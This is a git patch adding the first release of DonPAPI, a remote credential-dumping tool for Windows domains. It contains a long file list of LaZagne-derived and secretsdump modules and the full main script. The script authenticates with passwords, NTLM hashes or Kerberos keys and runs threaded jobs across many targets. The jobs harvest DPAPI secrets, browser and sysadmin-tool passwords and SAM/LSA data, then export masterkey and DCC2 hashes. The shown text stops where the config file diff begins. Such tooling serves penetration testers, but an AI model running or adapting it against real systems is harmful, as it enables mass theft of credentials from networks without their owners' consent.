From f27f527410ca5e87719281a992ad39d35e6ed42a Mon Sep 17 00:00:00 2001 From: Pierre-Alexandre Vandewoestyne Date: Mon, 27 Sep 2021 11:20:43 +0200 Subject: [PATCH] beta release commit --- DonPAPI.py | 275 ++ config/seatbelt_config.json | 13 + database.py | 1401 +++++++ lazagne/__init__.py | 0 lazagne/config/DPAPI/__init__.py | 1 + lazagne/config/DPAPI/blob.py | 139 + lazagne/config/DPAPI/credfile.py | 108 + lazagne/config/DPAPI/credhist.py | 142 + lazagne/config/DPAPI/crypto.py | 366 ++ lazagne/config/DPAPI/eater.py | 128 + lazagne/config/DPAPI/masterkey.py | 460 +++ lazagne/config/DPAPI/system.py | 38 + lazagne/config/DPAPI/vault.py | 491 +++ lazagne/config/__init__.py | 0 lazagne/config/change_privileges.py | 220 + lazagne/config/constant.py | 61 + lazagne/config/crypto/__init__.py | 0 .../__pycache__/__init__.cpython-37.pyc | Bin 0 -> 153 bytes .../__pycache__/__init__.cpython-38.pyc | Bin 0 -> 162 bytes .../__pycache__/__init__.cpython-39.pyc | Bin 0 -> 186 bytes .../crypto/__pycache__/pyDes.cpython-37.pyc | Bin 0 -> 22380 bytes .../crypto/__pycache__/pyDes.cpython-38.pyc | Bin 0 -> 23319 bytes .../crypto/__pycache__/pyDes.cpython-39.pyc | Bin 0 -> 24213 bytes .../crypto/__pycache__/rc4.cpython-38.pyc | Bin 0 -> 1626 bytes lazagne/config/crypto/pyDes.py | 852 ++++ lazagne/config/crypto/pyaes/__init__.py | 53 + .../pyaes/__pycache__/__init__.cpython-37.pyc | Bin 0 -> 605 bytes .../pyaes/__pycache__/__init__.cpython-38.pyc | Bin 0 -> 614 bytes .../pyaes/__pycache__/__init__.cpython-39.pyc | Bin 0 -> 643 bytes .../pyaes/__pycache__/aes.cpython-37.pyc | Bin 0 -> 48704 bytes .../pyaes/__pycache__/aes.cpython-38.pyc | Bin 0 -> 48502 bytes .../pyaes/__pycache__/aes.cpython-39.pyc | Bin 0 -> 41736 bytes .../__pycache__/blockfeeder.cpython-37.pyc | Bin 0 -> 5556 bytes .../__pycache__/blockfeeder.cpython-38.pyc | Bin 0 -> 5386 bytes .../__pycache__/blockfeeder.cpython-39.pyc | Bin 0 -> 5406 bytes .../pyaes/__pycache__/util.cpython-37.pyc | Bin 0 -> 1209 bytes .../pyaes/__pycache__/util.cpython-38.pyc | Bin 0 -> 1241 bytes .../pyaes/__pycache__/util.cpython-39.pyc | Bin 0 -> 1259 bytes lazagne/config/crypto/pyaes/aes.py | 589 +++ lazagne/config/crypto/pyaes/blockfeeder.py | 227 + lazagne/config/crypto/pyaes/util.py | 60 + lazagne/config/crypto/rc4.py | 57 + lazagne/config/dico.py | 503 +++ lazagne/config/dpapi_structure.py | 186 + lazagne/config/execute_cmd.py | 100 + lazagne/config/lib/__init__.py | 0 lazagne/config/lib/memorpy/Address.py | 111 + lazagne/config/lib/memorpy/BaseProcess.py | 66 + lazagne/config/lib/memorpy/LinProcess.py | 296 ++ lazagne/config/lib/memorpy/LinStructures.py | 20 + lazagne/config/lib/memorpy/Locator.py | 96 + lazagne/config/lib/memorpy/MemWorker.py | 226 + lazagne/config/lib/memorpy/OSXProcess.py | 174 + lazagne/config/lib/memorpy/Process.py | 13 + lazagne/config/lib/memorpy/SunProcess.py | 167 + lazagne/config/lib/memorpy/WinProcess.py | 312 ++ lazagne/config/lib/memorpy/WinStructures.py | 190 + lazagne/config/lib/memorpy/__init__.py | 32 + lazagne/config/lib/memorpy/structures.py | 8 + lazagne/config/lib/memorpy/utils.py | 121 + lazagne/config/lib/memorpy/version.py | 6 + lazagne/config/lib/memorpy/wintools.py | 35 + lazagne/config/manage_modules.py | 172 + lazagne/config/module_info.py | 49 + lazagne/config/run.py | 261 ++ lazagne/config/users.py | 81 + lazagne/config/winstructure.py | 715 ++++ lazagne/config/write_output.py | 352 ++ lazagne/softwares/__init__.py | 0 .../__pycache__/__init__.cpython-37.pyc | Bin 0 -> 149 bytes .../__pycache__/__init__.cpython-38.pyc | Bin 0 -> 158 bytes .../__pycache__/__init__.cpython-39.pyc | Bin 0 -> 182 bytes lazagne/softwares/browsers/__init__.py | 0 .../__pycache__/__init__.cpython-37.pyc | Bin 0 -> 158 bytes .../__pycache__/__init__.cpython-38.pyc | Bin 0 -> 167 bytes .../__pycache__/__init__.cpython-39.pyc | Bin 0 -> 191 bytes .../__pycache__/mozilla.cpython-37.pyc | Bin 0 -> 13926 bytes .../__pycache__/mozilla.cpython-38.pyc | Bin 0 -> 14028 bytes .../__pycache__/mozilla.cpython-39.pyc | Bin 0 -> 14076 bytes lazagne/softwares/browsers/chromium_based.py | 246 ++ lazagne/softwares/browsers/ie.py | 196 + lazagne/softwares/browsers/mozilla.py | 576 +++ lazagne/softwares/browsers/ucbrowser.py | 21 + lazagne/softwares/chats/__init__.py | 0 lazagne/softwares/chats/pidgin.py | 28 + lazagne/softwares/chats/psi.py | 64 + lazagne/softwares/chats/skype.py | 145 + lazagne/softwares/databases/__init__.py | 0 lazagne/softwares/databases/dbvis.py | 79 + lazagne/softwares/databases/postgresql.py | 32 + lazagne/softwares/databases/robomongo.py | 101 + lazagne/softwares/databases/sqldeveloper.py | 106 + lazagne/softwares/databases/squirrel.py | 27 + lazagne/softwares/games/__init__.py | 0 lazagne/softwares/games/galconfusion.py | 55 + lazagne/softwares/games/kalypsomedia.py | 42 + lazagne/softwares/games/roguestale.py | 41 + lazagne/softwares/games/turba.py | 55 + lazagne/softwares/git/__init__.py | 0 lazagne/softwares/git/gitforwindows.py | 61 + lazagne/softwares/mails/__init__.py | 0 lazagne/softwares/mails/outlook.py | 95 + lazagne/softwares/mails/thunderbird.py | 9 + lazagne/softwares/maven/__init__.py | 0 lazagne/softwares/maven/mavenrepositories.py | 131 + lazagne/softwares/memory/__init__.py | 0 lazagne/softwares/memory/keepass.py | 31 + lazagne/softwares/memory/keethief.py | 3645 +++++++++++++++++ .../softwares/memory/libkeepass/__init__.py | 68 + lazagne/softwares/memory/libkeepass/common.py | 288 ++ lazagne/softwares/memory/libkeepass/crypto.py | 53 + lazagne/softwares/memory/libkeepass/hbio.py | 114 + lazagne/softwares/memory/libkeepass/kdb4.py | 419 ++ .../memory/libkeepass/pureSalsa20.py | 353 ++ lazagne/softwares/memory/memorydump.py | 117 + lazagne/softwares/multimedia/__init__.py | 0 lazagne/softwares/multimedia/eyecon.py | 98 + lazagne/softwares/php/__init__.py | 0 lazagne/softwares/php/composer.py | 61 + lazagne/softwares/svn/__init__.py | 0 lazagne/softwares/svn/tortoise.py | 68 + lazagne/softwares/sysadmin/__init__.py | 0 .../sysadmin/apachedirectorystudio.py | 62 + lazagne/softwares/sysadmin/coreftp.py | 58 + lazagne/softwares/sysadmin/cyberduck.py | 48 + lazagne/softwares/sysadmin/d3des.py | 391 ++ lazagne/softwares/sysadmin/filezilla.py | 53 + lazagne/softwares/sysadmin/filezillaserver.py | 42 + lazagne/softwares/sysadmin/ftpnavigator.py | 44 + lazagne/softwares/sysadmin/iisapppool.py | 76 + lazagne/softwares/sysadmin/iiscentralcertp.py | 138 + lazagne/softwares/sysadmin/keepassconfig.py | 116 + .../softwares/sysadmin/opensshforwindows.py | 90 + lazagne/softwares/sysadmin/openvpn.py | 56 + lazagne/softwares/sysadmin/puttycm.py | 51 + lazagne/softwares/sysadmin/rdpmanager.py | 97 + lazagne/softwares/sysadmin/unattended.py | 75 + lazagne/softwares/sysadmin/vnc.py | 162 + lazagne/softwares/sysadmin/winscp.py | 129 + lazagne/softwares/sysadmin/wsl.py | 44 + lazagne/softwares/wifi/__init__.py | 0 lazagne/softwares/wifi/wifi.py | 107 + lazagne/softwares/windows/__init__.py | 0 lazagne/softwares/windows/autologon.py | 50 + lazagne/softwares/windows/cachedump.py | 19 + .../softwares/windows/creddump7/__init__.py | 0 .../softwares/windows/creddump7/addrspace.py | 144 + lazagne/softwares/windows/creddump7/newobj.py | 315 ++ lazagne/softwares/windows/creddump7/object.py | 179 + lazagne/softwares/windows/creddump7/types.py | 63 + .../windows/creddump7/win32/__init__.py | 0 .../windows/creddump7/win32/domcachedump.py | 146 + .../windows/creddump7/win32/hashdump.py | 295 ++ .../windows/creddump7/win32/lsasecrets.py | 186 + .../windows/creddump7/win32/rawreg.py | 84 + lazagne/softwares/windows/credfiles.py | 22 + lazagne/softwares/windows/credman.py | 34 + lazagne/softwares/windows/hashdump.py | 15 + lazagne/softwares/windows/lsa_secrets.py | 34 + lazagne/softwares/windows/ppypykatz.py | 75 + lazagne/softwares/windows/vault.py | 70 + lazagne/softwares/windows/vaultfiles.py | 23 + lazagne/softwares/windows/windows.py | 77 + lib/RecentFiles.py | 94 + lib/adconnect.py | 411 ++ lib/certificates.py | 495 +++ lib/compliance_security.py | 93 + lib/defines.py | 59 + lib/dpapi.py | 748 ++++ lib/dpapi_pick/credhist.py | 306 ++ lib/dpapi_pick/crypto.py | 339 ++ lib/dpapi_pick/eater.py | 128 + lib/eater.py | 128 + lib/fileops.py | 262 ++ lib/neo4jconnection.py | 114 + lib/new_module.py | 66 + lib/reg.py | 444 ++ lib/secretsdump.py | 2616 ++++++++++++ lib/toolbox.py | 77 + lib/wmi.py | 96 + myseatbelt.py | 1981 +++++++++ myusers.py | 128 + readme.md | 90 + requirements.txt | 7 + res/Logo_LOGIN.PNG | Bin 0 -> 52548 bytes res/css/style.css | 179 + res/style.css | 179 + software/browser/chrome_decrypt.py | 181 + software/browser/firefox_decrypt.py | 132 + software/browser/mozilla.py | 545 +++ software/manager/keepass.py | 355 ++ software/manager/lastpass.py | 87 + software/manager/mRemoteNG.py | 111 + software/sysadmin/d3des.py | 391 ++ software/sysadmin/teamviewer.py | 8 + software/sysadmin/vnc-local.py | 79 + software/sysadmin/vnc.py | 218 + 197 files changed, 32215 insertions(+) create mode 100644 DonPAPI.py create mode 100644 config/seatbelt_config.json create mode 100644 database.py create mode 100644 lazagne/__init__.py create mode 100644 lazagne/config/DPAPI/__init__.py create mode 100644 lazagne/config/DPAPI/blob.py create mode 100644 lazagne/config/DPAPI/credfile.py create mode 100644 lazagne/config/DPAPI/credhist.py create mode 100644 lazagne/config/DPAPI/crypto.py create mode 100644 lazagne/config/DPAPI/eater.py create mode 100644 lazagne/config/DPAPI/masterkey.py create mode 100644 lazagne/config/DPAPI/system.py create mode 100644 lazagne/config/DPAPI/vault.py create mode 100644 lazagne/config/__init__.py create mode 100644 lazagne/config/change_privileges.py create mode 100644 lazagne/config/constant.py create mode 100644 lazagne/config/crypto/__init__.py create mode 100644 lazagne/config/crypto/__pycache__/__init__.cpython-37.pyc create mode 100644 lazagne/config/crypto/__pycache__/__init__.cpython-38.pyc create mode 100644 lazagne/config/crypto/__pycache__/__init__.cpython-39.pyc create mode 100644 lazagne/config/crypto/__pycache__/pyDes.cpython-37.pyc create mode 100644 lazagne/config/crypto/__pycache__/pyDes.cpython-38.pyc create mode 100644 lazagne/config/crypto/__pycache__/pyDes.cpython-39.pyc create mode 100644 lazagne/config/crypto/__pycache__/rc4.cpython-38.pyc create mode 100644 lazagne/config/crypto/pyDes.py create mode 100644 lazagne/config/crypto/pyaes/__init__.py create mode 100644 lazagne/config/crypto/pyaes/__pycache__/__init__.cpython-37.pyc create mode 100644 lazagne/config/crypto/pyaes/__pycache__/__init__.cpython-38.pyc create mode 100644 lazagne/config/crypto/pyaes/__pycache__/__init__.cpython-39.pyc create mode 100644 lazagne/config/crypto/pyaes/__pycache__/aes.cpython-37.pyc create mode 100644 lazagne/config/crypto/pyaes/__pycache__/aes.cpython-38.pyc create mode 100644 lazagne/config/crypto/pyaes/__pycache__/aes.cpython-39.pyc create mode 100644 lazagne/config/crypto/pyaes/__pycache__/blockfeeder.cpython-37.pyc create mode 100644 lazagne/config/crypto/pyaes/__pycache__/blockfeeder.cpython-38.pyc create mode 100644 lazagne/config/crypto/pyaes/__pycache__/blockfeeder.cpython-39.pyc create mode 100644 lazagne/config/crypto/pyaes/__pycache__/util.cpython-37.pyc create mode 100644 lazagne/config/crypto/pyaes/__pycache__/util.cpython-38.pyc create mode 100644 lazagne/config/crypto/pyaes/__pycache__/util.cpython-39.pyc create mode 100644 lazagne/config/crypto/pyaes/aes.py create mode 100644 lazagne/config/crypto/pyaes/blockfeeder.py create mode 100644 lazagne/config/crypto/pyaes/util.py create mode 100644 lazagne/config/crypto/rc4.py create mode 100644 lazagne/config/dico.py create mode 100644 lazagne/config/dpapi_structure.py create mode 100644 lazagne/config/execute_cmd.py create mode 100644 lazagne/config/lib/__init__.py create mode 100644 lazagne/config/lib/memorpy/Address.py create mode 100644 lazagne/config/lib/memorpy/BaseProcess.py create mode 100644 lazagne/config/lib/memorpy/LinProcess.py create mode 100644 lazagne/config/lib/memorpy/LinStructures.py create mode 100644 lazagne/config/lib/memorpy/Locator.py create mode 100644 lazagne/config/lib/memorpy/MemWorker.py create mode 100644 lazagne/config/lib/memorpy/OSXProcess.py create mode 100644 lazagne/config/lib/memorpy/Process.py create mode 100644 lazagne/config/lib/memorpy/SunProcess.py create mode 100644 lazagne/config/lib/memorpy/WinProcess.py create mode 100644 lazagne/config/lib/memorpy/WinStructures.py create mode 100644 lazagne/config/lib/memorpy/__init__.py create mode 100644 lazagne/config/lib/memorpy/structures.py create mode 100644 lazagne/config/lib/memorpy/utils.py create mode 100644 lazagne/config/lib/memorpy/version.py create mode 100644 lazagne/config/lib/memorpy/wintools.py create mode 100644 lazagne/config/manage_modules.py create mode 100644 lazagne/config/module_info.py create mode 100644 lazagne/config/run.py create mode 100644 lazagne/config/users.py create mode 100644 lazagne/config/winstructure.py create mode 100644 lazagne/config/write_output.py create mode 100644 lazagne/softwares/__init__.py create mode 100644 lazagne/softwares/__pycache__/__init__.cpython-37.pyc create mode 100644 lazagne/softwares/__pycache__/__init__.cpython-38.pyc create mode 100644 lazagne/softwares/__pycache__/__init__.cpython-39.pyc create mode 100644 lazagne/softwares/browsers/__init__.py create mode 100644 lazagne/softwares/browsers/__pycache__/__init__.cpython-37.pyc create mode 100644 lazagne/softwares/browsers/__pycache__/__init__.cpython-38.pyc create mode 100644 lazagne/softwares/browsers/__pycache__/__init__.cpython-39.pyc create mode 100644 lazagne/softwares/browsers/__pycache__/mozilla.cpython-37.pyc create mode 100644 lazagne/softwares/browsers/__pycache__/mozilla.cpython-38.pyc create mode 100644 lazagne/softwares/browsers/__pycache__/mozilla.cpython-39.pyc create mode 100644 lazagne/softwares/browsers/chromium_based.py create mode 100644 lazagne/softwares/browsers/ie.py create mode 100644 lazagne/softwares/browsers/mozilla.py create mode 100644 lazagne/softwares/browsers/ucbrowser.py create mode 100644 lazagne/softwares/chats/__init__.py create mode 100644 lazagne/softwares/chats/pidgin.py create mode 100644 lazagne/softwares/chats/psi.py create mode 100644 lazagne/softwares/chats/skype.py create mode 100644 lazagne/softwares/databases/__init__.py create mode 100644 lazagne/softwares/databases/dbvis.py create mode 100644 lazagne/softwares/databases/postgresql.py create mode 100644 lazagne/softwares/databases/robomongo.py create mode 100644 lazagne/softwares/databases/sqldeveloper.py create mode 100644 lazagne/softwares/databases/squirrel.py create mode 100644 lazagne/softwares/games/__init__.py create mode 100644 lazagne/softwares/games/galconfusion.py create mode 100644 lazagne/softwares/games/kalypsomedia.py create mode 100644 lazagne/softwares/games/roguestale.py create mode 100644 lazagne/softwares/games/turba.py create mode 100644 lazagne/softwares/git/__init__.py create mode 100644 lazagne/softwares/git/gitforwindows.py create mode 100644 lazagne/softwares/mails/__init__.py create mode 100644 lazagne/softwares/mails/outlook.py create mode 100644 lazagne/softwares/mails/thunderbird.py create mode 100644 lazagne/softwares/maven/__init__.py create mode 100644 lazagne/softwares/maven/mavenrepositories.py create mode 100644 lazagne/softwares/memory/__init__.py create mode 100644 lazagne/softwares/memory/keepass.py create mode 100644 lazagne/softwares/memory/keethief.py create mode 100644 lazagne/softwares/memory/libkeepass/__init__.py create mode 100644 lazagne/softwares/memory/libkeepass/common.py create mode 100644 lazagne/softwares/memory/libkeepass/crypto.py create mode 100644 lazagne/softwares/memory/libkeepass/hbio.py create mode 100644 lazagne/softwares/memory/libkeepass/kdb4.py create mode 100644 lazagne/softwares/memory/libkeepass/pureSalsa20.py create mode 100644 lazagne/softwares/memory/memorydump.py create mode 100644 lazagne/softwares/multimedia/__init__.py create mode 100644 lazagne/softwares/multimedia/eyecon.py create mode 100644 lazagne/softwares/php/__init__.py create mode 100644 lazagne/softwares/php/composer.py create mode 100644 lazagne/softwares/svn/__init__.py create mode 100644 lazagne/softwares/svn/tortoise.py create mode 100644 lazagne/softwares/sysadmin/__init__.py create mode 100644 lazagne/softwares/sysadmin/apachedirectorystudio.py create mode 100644 lazagne/softwares/sysadmin/coreftp.py create mode 100644 lazagne/softwares/sysadmin/cyberduck.py create mode 100644 lazagne/softwares/sysadmin/d3des.py create mode 100644 lazagne/softwares/sysadmin/filezilla.py create mode 100644 lazagne/softwares/sysadmin/filezillaserver.py create mode 100644 lazagne/softwares/sysadmin/ftpnavigator.py create mode 100644 lazagne/softwares/sysadmin/iisapppool.py create mode 100644 lazagne/softwares/sysadmin/iiscentralcertp.py create mode 100644 lazagne/softwares/sysadmin/keepassconfig.py create mode 100644 lazagne/softwares/sysadmin/opensshforwindows.py create mode 100644 lazagne/softwares/sysadmin/openvpn.py create mode 100644 lazagne/softwares/sysadmin/puttycm.py create mode 100644 lazagne/softwares/sysadmin/rdpmanager.py create mode 100644 lazagne/softwares/sysadmin/unattended.py create mode 100644 lazagne/softwares/sysadmin/vnc.py create mode 100644 lazagne/softwares/sysadmin/winscp.py create mode 100644 lazagne/softwares/sysadmin/wsl.py create mode 100644 lazagne/softwares/wifi/__init__.py create mode 100644 lazagne/softwares/wifi/wifi.py create mode 100644 lazagne/softwares/windows/__init__.py create mode 100644 lazagne/softwares/windows/autologon.py create mode 100644 lazagne/softwares/windows/cachedump.py create mode 100644 lazagne/softwares/windows/creddump7/__init__.py create mode 100644 lazagne/softwares/windows/creddump7/addrspace.py create mode 100644 lazagne/softwares/windows/creddump7/newobj.py create mode 100644 lazagne/softwares/windows/creddump7/object.py create mode 100644 lazagne/softwares/windows/creddump7/types.py create mode 100644 lazagne/softwares/windows/creddump7/win32/__init__.py create mode 100644 lazagne/softwares/windows/creddump7/win32/domcachedump.py create mode 100644 lazagne/softwares/windows/creddump7/win32/hashdump.py create mode 100644 lazagne/softwares/windows/creddump7/win32/lsasecrets.py create mode 100644 lazagne/softwares/windows/creddump7/win32/rawreg.py create mode 100644 lazagne/softwares/windows/credfiles.py create mode 100644 lazagne/softwares/windows/credman.py create mode 100644 lazagne/softwares/windows/hashdump.py create mode 100644 lazagne/softwares/windows/lsa_secrets.py create mode 100644 lazagne/softwares/windows/ppypykatz.py create mode 100644 lazagne/softwares/windows/vault.py create mode 100644 lazagne/softwares/windows/vaultfiles.py create mode 100644 lazagne/softwares/windows/windows.py create mode 100644 lib/RecentFiles.py create mode 100644 lib/adconnect.py create mode 100644 lib/certificates.py create mode 100644 lib/compliance_security.py create mode 100644 lib/defines.py create mode 100644 lib/dpapi.py create mode 100644 lib/dpapi_pick/credhist.py create mode 100644 lib/dpapi_pick/crypto.py create mode 100644 lib/dpapi_pick/eater.py create mode 100644 lib/eater.py create mode 100644 lib/fileops.py create mode 100644 lib/neo4jconnection.py create mode 100644 lib/new_module.py create mode 100644 lib/reg.py create mode 100644 lib/secretsdump.py create mode 100644 lib/toolbox.py create mode 100644 lib/wmi.py create mode 100644 myseatbelt.py create mode 100644 myusers.py create mode 100644 readme.md create mode 100644 requirements.txt create mode 100644 res/Logo_LOGIN.PNG create mode 100644 res/css/style.css create mode 100644 res/style.css create mode 100644 software/browser/chrome_decrypt.py create mode 100644 software/browser/firefox_decrypt.py create mode 100644 software/browser/mozilla.py create mode 100644 software/manager/keepass.py create mode 100644 software/manager/lastpass.py create mode 100644 software/manager/mRemoteNG.py create mode 100644 software/sysadmin/d3des.py create mode 100644 software/sysadmin/teamviewer.py create mode 100644 software/sysadmin/vnc-local.py create mode 100644 software/sysadmin/vnc.py diff --git a/DonPAPI.py b/DonPAPI.py new file mode 100644 index 0000000..a4d7e9b --- /dev/null +++ b/DonPAPI.py @@ -0,0 +1,275 @@ +#!/usr/bin/env python +# coding:utf-8 +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: Dump DPAPI secrets remotely +# +# Author: +# PA Vandewoestyne +# Credits : +# Alberto Solino (@agsolino) +# Benjamin Delpy (@gentilkiwi) for most of the DPAPI research (always greatly commented - <3 your code) +# Alesandro Z (@) & everyone who worked on Lazagne (https://github.com/AlessandroZ/LaZagne/wiki) for the VNC & Firefox modules, and most likely for a lots of other ones in the futur. +# dirkjanm @dirkjanm for the base code of adconnect dump (https://github.com/fox-it/adconnectdump) & every research he ever did. i learned so much on so many subjects thanks to you. <3 +# @Byt3bl3d33r for CME (lots of inspiration and code comes from CME : https://github.com/byt3bl33d3r/CrackMapExec ) +# All the Team of @LoginSecurite for their help in debugging my shity code (special thanks to @layno & @HackAndDo for that) + +# +from __future__ import division +from __future__ import print_function +import sys +import logging +import argparse,os,re,json,sqlite3 +from impacket import version +from myseatbelt import MySeatBelt +import concurrent.futures +from lib.toolbox import split_targets,bcolors +from database import database, reporting + + + +global assets +assets={} + + +def main(): + global assets + # Init the example's logger theme + #logger.init() + print(version.BANNER) + parser = argparse.ArgumentParser(add_help = True, description = "SeatBelt implementation.") + + parser.add_argument('target', nargs='?', action='store', help='[[domain/]username[:password]@]',default='') + parser.add_argument('-credz', action='store', help='File containing multiple user:password or user:hash for masterkeys decryption') + parser.add_argument('-pvk', action='store', help='input backupkey pvk file') + parser.add_argument('-d','--debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-t', default='30', metavar="number of threads", help='number of threads') + parser.add_argument('-o', '--output_directory', default='./', help='output log directory') + + group = parser.add_argument_group('authentication') + group.add_argument('-H','--hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials ' + 'cannot be found, it will use the ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (1128 or 256 bits)') + group.add_argument('-local_auth', action="store_true", help='use local authentification', default=False) + group.add_argument('-laps', action="store_true", help='use LAPS to request local admin password', default=False) + + + group = parser.add_argument_group('connection') + group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' + 'This is useful when target is the NetBIOS name and you cannot resolve it') + group.add_argument('-port', choices=['135', '139', '445'], nargs='?', default='445', metavar="destination port", help='Destination port to connect to SMB Server') + + group = parser.add_argument_group('Reporting') + group.add_argument('-R', '--report', action="store_true", help='Only Generate Report on the scope', default=False) + group.add_argument('--type', action="store", help='only report "type" password (wifi,credential-blob,browser-internet_explorer,LSA,SAM,taskscheduler,VNC,browser-chrome,browser-firefox') + group.add_argument('-u','--user', action="store_true", help='only this username') + group.add_argument('--target', action="store_true", help='only this target (url/IP...)') + + group = parser.add_argument_group('attacks') + group.add_argument('--no_browser', action="store_true", help='do not hunt for browser passwords', default=False) + group.add_argument('--no_dpapi', action="store_true", help='do not hunt for DPAPI secrets', default=False) + group.add_argument('--no_vnc', action="store_true", help='do not hunt for VNC passwords', default=False) + group.add_argument('--no_remoteops', action="store_true", help='do not hunt for SAM and LSA with remoteops', default=False) + group.add_argument('--GetHashes', action="store_true", help="Get all users Masterkey's hash & DCC2 hash", default=False) + group.add_argument('--no_recent', action="store_true", help="Get recent files", default=False) + group.add_argument('--no_sysadmins', action="store_true", help="Get sysadmins stuff (mRemoteNG, vnc, keepass, lastpass ...)", default=False) + group.add_argument('--from_file', action='store', help='Give me the export of ADSyncQuery.exe ADSync.mdf to decrypt ADConnect password', default='adsync_export') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + #logging.basicConfig(filename='debug.log', level=logging.DEBUG) + + if options.debug is True: + logging.basicConfig(format='%(asctime)s.%(msecs)03d %(levelname)s {%(module)s} [%(funcName)s] %(message)s', + datefmt='%Y-%m-%d,%H:%M:%S', level=logging.DEBUG, + handlers=[logging.FileHandler("debug.log"), logging.StreamHandler()]) + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.basicConfig(format='%(levelname)s %(message)s', + datefmt='%Y-%m-%d,%H:%M:%S', level=logging.DEBUG, + handlers=[logging.FileHandler("debug.log"), logging.StreamHandler()]) + logging.getLogger().setLevel(logging.INFO) + + options.domain, options.username, options.password, options.address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('') + + #Load Configuration and add them to the options + load_configs(options) + #init database? + first_run(options) + # + + if options.report is not None and options.report!=False: + options.report = True + #In case the password contains '@' + if '@' in options.address: + options.password = options.password + '@' + options.address.rpartition('@')[0] + options.address = options.address.rpartition('@')[2] + + if options.target_ip is None: + options.target_ip = options.address + if options.domain is None: + options.domain = '' + + if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + options.password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + if options.hashes is not None: + if ':' in options.hashes: + options.lmhash, options.nthash = options.hashes.split(':') + else: + options.lmhash = 'aad3b435b51404eeaad3b435b51404ee' + options.nthash = options.hashes + else: + options.lmhash = '' + options.nthash = '' + credz={} + if options.credz is not None: + if os.path.isfile(options.credz): + with open(options.credz, 'rb') as f: + file_data = f.read().replace(b'\x0d', b'').split(b'\n') + for cred in file_data: + if b':' in cred: + tmp_username, tmp_password = cred.split(b':') + #Add "history password to account pass to test + if b'_history' in tmp_username: + tmp_username=tmp_username[:tmp_username.index(b'_history')] + if tmp_username.decode('utf-8') not in credz: + credz[tmp_username.decode('utf-8')] = [tmp_password.decode('utf-8')] + else: + credz[tmp_username.decode('utf-8')].append(tmp_password.decode('utf-8')) + logging.info(f'Loaded {len(credz)} user credentials') + + else: + logging.error(f"[!]Credential file {options.credz} not found") + #Also adding submited credz + if options.username not in credz: + if options.password!='': + credz[options.username] = [options.password] + if options.nthash!='': + credz[options.username] = [options.nthash] + else: + if options.password!='': + credz[options.username].append(options.password) + if options.nthash!='': + credz[options.username].append(options.nthash) + options.credz=credz + + targets = split_targets(options.target_ip) + logging.info("Loaded {i} targets".format(i=len(targets))) + if not options.report : + try: + with concurrent.futures.ThreadPoolExecutor(max_workers=int(options.t)) as executor: + executor.map(seatbelt_thread, [(target, options, logging) for target in targets]) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(str(e)) + #print("ENDING MAIN") + my_report = reporting(sqlite3.connect(options.db_path), logging, options, targets) + my_report.generate_report() + if options.GetHashes: + my_report.export_hashes() + my_report.export_dcc2_hashes() + + #attendre la fin de toutes les threads ? + if options.report : + try: + my_report = reporting(sqlite3.connect(options.db_path), logging,options,targets) + my_report.generate_report() + if options.GetHashes: + my_report.export_MKF_hashes() + my_report.export_dcc2_hashes() + except Exception as e: + logging.error(str(e)) + +def load_configs(options): + seatbelt_path = os.path.dirname(os.path.realpath(__file__)) + config_file=os.path.join(os.path.join(seatbelt_path,"config"),"seatbelt_config.json") + with open(config_file,'rb') as config: + config_parser = json.load(config) + options.db_path=config_parser['db_path'] + options.db_name = config_parser['db_name'] + options.workspace=config_parser['workspace'] + +def first_run(options): + #Create directory if needed + if not os.path.exists(options.output_directory) : + os.mkdir(options.output_directory) + db_path=os.path.join(options.output_directory,options.db_name) + logging.debug(f"Database file = {db_path}") + options.db_path = db_path + if not os.path.exists(options.db_path): + logging.info(f'Initializing database {options.db_path}') + conn = sqlite3.connect(options.db_path,check_same_thread=False) + c = conn.cursor() + # try to prevent some of the weird sqlite I/O errors + c.execute('PRAGMA journal_mode = OFF') + c.execute('PRAGMA foreign_keys = 1') + database(conn, logging).db_schema(c) + #getattr(protocol_object, 'database').db_schema(c) + # commit the changes and close everything off + conn.commit() + conn.close() + +def seatbelt_thread(datas): + global assets + target,options, logger=datas + logging.debug("[*] SeatBelt thread for {ip} Started".format(ip=target)) + + try: + mysb = MySeatBelt(target,options,logger) + if mysb.admin_privs: + mysb.do_test() + # mysb.run() + #mysb.quit() + else: + logging.debug("[*] No ADMIN account on target {ip}".format(ip=target)) + + #assets[target] = mysb.get_secrets() + logging.debug("[*] SeatBelt thread for {ip} Ended".format(ip=target)) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(str(e)) + + +def export_results_seatbelt(output_dir=''): + global assets + users={} + logging.info(f"[+]Gathered infos from {len(assets)} targets") + f = open(os.path.join(output_dir, f'SeatBelt_secrets_all.log'), 'wb') + for machine_ip in assets: + for user in assets[machine_ip]: + if user not in users: + users[user]=[] + for secret in assets[machine_ip][user]: + f.write(f"[{machine_ip}//{user}] {assets[machine_ip][user][secret]}\n".encode('utf-8')) + if assets[machine_ip][user][secret] not in users[user]: + users[user].append(assets[machine_ip][user][secret]) + # + f.close() + f = open(os.path.join(output_dir, f'SeatBelt_secrets.log'), 'wb') + for user in users: + for secret in users[user][secret]: + f.write(f"[{user}]\n{users[user][secret]}\n".encode('utf-8')) + f.close() + +if __name__ == "__main__": + main() + #GetDomainBackupKey : dpapi.py backupkeys credz@DC.local --export + diff --git a/config/seatbelt_config.json b/config/seatbelt_config.json new file mode 100644 index 